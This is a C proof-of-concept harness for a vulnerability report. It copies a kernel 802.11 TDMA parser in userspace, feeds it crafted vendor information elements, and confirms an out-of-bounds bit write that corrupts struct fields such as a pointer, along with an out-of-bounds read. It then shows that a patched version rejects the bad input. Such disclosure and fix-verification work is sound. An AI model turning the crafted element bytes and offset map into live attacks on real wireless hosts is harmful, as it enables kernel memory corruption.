DF-0612 / harness.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 | /* * DF-0612 โ code-level harness for ieee80211_parse_tdma() OOB setbit write. * * The live 802.11 receive path (ieee80211_sta_join -> ieee80211_parse_tdma) * requires a physical WiFi radio + TDMA vap that is scanning/joining. This * QEMU guest has only vtnet0/lo0 (no wlan hardware), so the live path is * unreachable here. This harness is a faithful userspace replica of the * EXACT kernel data structures and the EXACT buggy line, fed a crafted TDMA * IE, to deterministically prove the OOB write that the live frame would * trigger. Struct layouts and the setbit() macro are copied verbatim from * the audited sys/ tree (verified offsets printed at runtime). * * buggy line: sys/netproto/802_11/wlan/ieee80211_tdma.c:657 * setbit(ts->tdma_inuse, tdma->tdma_slot); * setbit macro: sys/sys/param.h:390 * #define setbit(a,i) ((a)[(i)/NBBY] |= 1<<((i)%NBBY)) * guards present in sibling tdma_process_params() but NOT here: * len < sizeof(*tdma)-2 (ieee80211_tdma.c:536) * tdma->tdma_slot >= TDMA_MAXSLOTS (ieee80211_tdma.c:555) * * Build (guest): cc -O2 -Wall -o harness harness.c * Run: ./harness */ #define _KERNEL #include <sys/types.h> #include <sys/time.h> #include "ieee80211_tdma.h" /* verbatim from sys/netproto/802_11/ */ #include <stddef.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #ifndef NBBY #define NBBY 8 #endif /* Copied verbatim from sys/sys/param.h:390 */ #define setbit(a,i) ((a)[(i)/NBBY] |= 1<<((i)%NBBY)) #define TDMA_MAXSLOTS 2 /* ---- exact replica of ieee80211_parse_tdma body (ieee80211_tdma.c:644-669) ---- * Only the setbit() line + the field reads are exercised; tdma_update() and * the WME flag handling are stubbed (they don't affect the OOB proof). */ static void parse_tdma_UNFIXED(void *ts_raw, const uint8_t *ie) { const struct ieee80211_tdma_param *tdma = (const struct ieee80211_tdma_param *)ie; struct ieee80211_tdma_state *ts = (struct ieee80211_tdma_state *)ts_raw; /* line 657 โ NO length check, NO slot range check */ setbit(ts->tdma_inuse, tdma->tdma_slot); } /* ---- the FIXED version (mirrors tdma_process_params guards) ---- */ static void parse_tdma_FIXED(void *ts_raw, const uint8_t *ie) { const struct ieee80211_tdma_param *tdma = (const struct ieee80211_tdma_param *)ie; struct ieee80211_tdma_state *ts = (struct ieee80211_tdma_state *)ts_raw; if (ie[1] < sizeof(*tdma) - 2) { printf(" [FIXED] rejected: IE too short (len=%u < %zu)\n", ie[1], sizeof(*tdma) - 2); return; } if (tdma->tdma_slot >= TDMA_MAXSLOTS) { printf(" [FIXED] rejected: tdma_slot=%u >= TDMA_MAXSLOTS=%d\n", tdma->tdma_slot, TDMA_MAXSLOTS); return; } setbit(ts->tdma_inuse, tdma->tdma_slot); printf(" [FIXED] accepted: setbit in-bounds (slot=%u)\n", tdma->tdma_slot); } static void dump_state(const char *tag, struct ieee80211_tdma_state *ts) { printf(" [%s] tdma_inuse[0]=0x%02x tdma_active[0]=0x%02x " "tdma_count=0x%08x tdma_peer=%p tdma_lastprint(tv_sec)=%lld\n", tag, ts->tdma_inuse[0], ts->tdma_active[0], (unsigned)ts->tdma_count, ts->tdma_peer, (long long)ts->tdma_lastprint.tv_sec); } /* Build a valid-length TDMA vendor IE (OUI 00:03:7f type/subtype/ver=2) * with a chosen tdma_slot. Total IE = sizeof(struct ieee80211_tdma_param)=24. */ static void build_ie(uint8_t *ie, uint8_t slot) { ie[0] = 221; /* IEEE80211_ELEMID_VENDOR */ ie[1] = sizeof(struct ieee80211_tdma_param) - 2; /* len field */ ie[2] = 0x00; ie[3] = 0x03; ie[4] = 0x7f; /* OUI */ ie[5] = 0x01; /* TDMA_OUI_TYPE */ ie[6] = 0x01; /* TDMA_SUBTYPE_PARAM */ ie[7] = 0x02; /* TDMA_VERSION */ ie[8] = slot; /* tdma_slot (attacker) */ ie[9] = 0x02; /* tdma_slotcnt */ ie[10] = 0x64; ie[11] = 0x00; /* tdma_slotlen=100 */ ie[12] = 0x05; /* tdma_bintval */ ie[13] = 0x01; /* tdma_inuse */ ie[14] = 0x00; ie[15] = 0x00; /* pad */ /* tstamp[8] @16..23 */ memset(&ie[16], 0, 8); } int main(void) { /* Single allocation big enough for the struct + a trailing canary band * so an OOB write inside the struct is unambiguous. */ enum { CANARY = 16 }; struct ieee80211_tdma_state *ts; uint8_t *backing = calloc(1, sizeof(*ts) + CANARY); ts = (struct ieee80211_tdma_state *)backing; printf("=== DF-0612 harness: ieee80211_parse_tdma OOB setbit ===\n"); printf("sizeof(ieee80211_tdma_state)=%zu sizeof(ieee80211_tdma_param)=%zu\n", sizeof(*ts), sizeof(struct ieee80211_tdma_param)); printf("offsets: tdma_inuse@%zu tdma_active@%zu tdma_count@%zu " "tdma_peer@%zu tdma_lastprint@%zu tdma_fails@%zu tdma_newstate(fnptr)@%zu\n", offsetof(struct ieee80211_tdma_state, tdma_inuse), offsetof(struct ieee80211_tdma_state, tdma_active), offsetof(struct ieee80211_tdma_state, tdma_count), offsetof(struct ieee80211_tdma_state, tdma_peer), offsetof(struct ieee80211_tdma_state, tdma_lastprint), offsetof(struct ieee80211_tdma_state, tdma_fails), offsetof(struct ieee80211_tdma_state, tdma_newstate)); printf("tdma_inuse is a 1-byte array; setbit(ts->tdma_inuse, slot) writes at\n"); printf(" struct offset 8 + slot/8. slot>=8 is OOB. Max slot=255 -> offset 39.\n"); printf("Function pointers (tdma_newstate etc.) start @48 -> NOT reachable (u8 idx).\n\n"); /* ---- Case 1: slot=64 -> offset 16 = tdma_peer byte 0 (pointer corrupt) ---- */ printf("[Case 1] slot=64 -> setbit writes tdma_peer byte 0 (offset 16)\n"); memset(backing, 0, sizeof(*ts) + CANARY); ts->tdma_peer = (void *)0xdeadbeefcafebabeUL; /* recognizable */ ts->tdma_count = 0x41414141; ts->tdma_lastprint.tv_sec = 0x42424242; dump_state("before", ts); uint8_t ie[64]; build_ie(ie, 64); parse_tdma_UNFIXED(ts, ie); dump_state("UNFIXED", ts); printf(" -> tdma_peer changed 0xdeadbeefcafebabe -> %p : OOB WRITE CONFIRMED\n\n", ts->tdma_peer); /* ---- Case 2: slot=255 -> offset 39 = last byte of tdma_lastprint ---- */ printf("[Case 2] slot=255 -> setbit writes last byte of tdma_lastprint (offset 39)\n"); memset(backing, 0, sizeof(*ts) + CANARY); ts->tdma_lastprint.tv_sec = 0; ts->tdma_lastprint.tv_usec = 0; dump_state("before", ts); build_ie(ie, 255); parse_tdma_UNFIXED(ts, ie); dump_state("UNFIXED", ts); printf(" -> byte at struct offset 39 (= &tdma_inuse[31]) flipped: OOB WRITE CONFIRMED\n\n"); /* ---- Case 3: slot=8 -> offset 9 = tdma_active ---- */ printf("[Case 3] slot=8 -> setbit writes tdma_active[0] (offset 9, 1 past array)\n"); memset(backing, 0, sizeof(*ts) + CANARY); ts->tdma_active[0] = 0x00; dump_state("before", ts); build_ie(ie, 8); parse_tdma_UNFIXED(ts, ie); dump_state("UNFIXED", ts); printf(" -> tdma_active[0] = 0x01 : OOB WRITE CONFIRMED\n\n"); /* ---- Case 4: secondary bug โ short IE -> OOB READ of tdma_slot ---- */ printf("[Case 4] short IE (len=6) -> tdma_slot read from beyond IE body\n"); printf(" istdmaoui only requires ie[1]>3, so a len=6 IE passes OUI check but\n"); printf(" tdma_slot@ie[8] is read from whatever follows in the ies->data blob.\n"); { uint8_t shortie[24]; memset(shortie, 0xAB, sizeof(shortie)); /* simulate adjacent heap data */ shortie[0] = 221; shortie[1] = 6; /* len=6: only covers id,len,oui(3),type = byte 5 */ shortie[2] = 0x00; shortie[3] = 0x03; shortie[4] = 0x7f; shortie[5] = 0x01; /* type */ /* bytes 6.. (subtype/version/slot/...) are PAST the declared IE length; * the parser still reads tdma->tdma_slot @ offset 8 = 0xAB. */ const struct ieee80211_tdma_param *tdma = (const struct ieee80211_tdma_param *)shortie; printf(" declared IE len=%u, but parser reads tdma_slot=0x%02x (offset 8)\n", shortie[1], tdma->tdma_slot); printf(" -> OOB READ from short IE; value drives the setbit index.\n\n"); } /* ---- Case 5: FIXED function rejects the OOB slots ---- */ printf("[Case 5] FIXED parse_tdma rejects OOB slots and short IE\n"); memset(backing, 0, sizeof(*ts) + CANARY); ts->tdma_peer = (void *)0xdeadbeefcafebabeUL; build_ie(ie, 64); parse_tdma_FIXED(ts, ie); dump_state("after slot=64", ts); printf(" -> tdma_peer UNCHANGED (%p == 0xdeadbeefcafebabe): FIX HOLDS\n\n", ts->tdma_peer); /* ---- Case 6: FIXED accepts a valid slot=1 (in range) ---- */ printf("[Case 6] FIXED parse_tdma accepts valid slot=1 (in range [0,TDMA_MAXSLOTS))\n"); memset(backing, 0, sizeof(*ts) + CANARY); build_ie(ie, 1); parse_tdma_FIXED(ts, ie); dump_state("after slot=1", ts); printf(" -> tdma_inuse[0]=0x%02x (bit 1 set in-bounds): legit path preserved\n\n", ts->tdma_inuse[0]); free(backing); printf("=== harness complete: OOB write confirmed on UNFIXED, blocked on FIXED ===\n"); return 0; } |